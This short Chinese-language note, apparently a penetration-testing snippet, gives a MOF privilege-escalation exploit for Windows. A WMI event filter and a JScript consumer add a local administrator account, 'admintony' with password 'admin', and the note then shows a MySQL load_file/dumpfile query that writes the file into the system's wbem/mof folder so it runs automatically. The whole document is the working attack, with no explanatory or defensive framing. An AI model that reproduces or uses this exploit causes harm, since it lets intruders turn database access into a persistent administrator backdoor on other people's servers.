1. #pragma namespace("\\.\root\subscription") 
    3. instance of __EventFilter as  
    4. { 
    5.     EventNamespace = "Root\Cimv2"; 
    6.     Name  = "filtP2"; 
    7.     Query = "Select * From __InstanceModificationEvent " 
    8.             "Where TargetInstance Isa \"Win32_LocalTime\" " 
    9.             "And TargetInstance.Second = 5"; 
    10.     QueryLanguage = "WQL"; 
    11. }; 
    13. instance of ActiveScriptEventConsumer as  
    14. { 
    15.     Name = "consPCSV2"; 
    16.     ScriptingEngine = "JScript"; 
    17.     ScriptText = 
    18.     "var WSH = new ActiveXObject(\"WScript.Shell\") WSH.run(\"net.exe user admintony admin /add&&net.exe localgroup administrators admintony /add\")"; 
    19. }; 
    21. instance of __FilterToConsumerBinding 
    22. { 
    23.     Consumer   = ; 
    24.     Filter = ; 
    25. };

    保存为 1.mof
    然后mysql执行：

    1. select load_file('D:/wwwroot/1.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';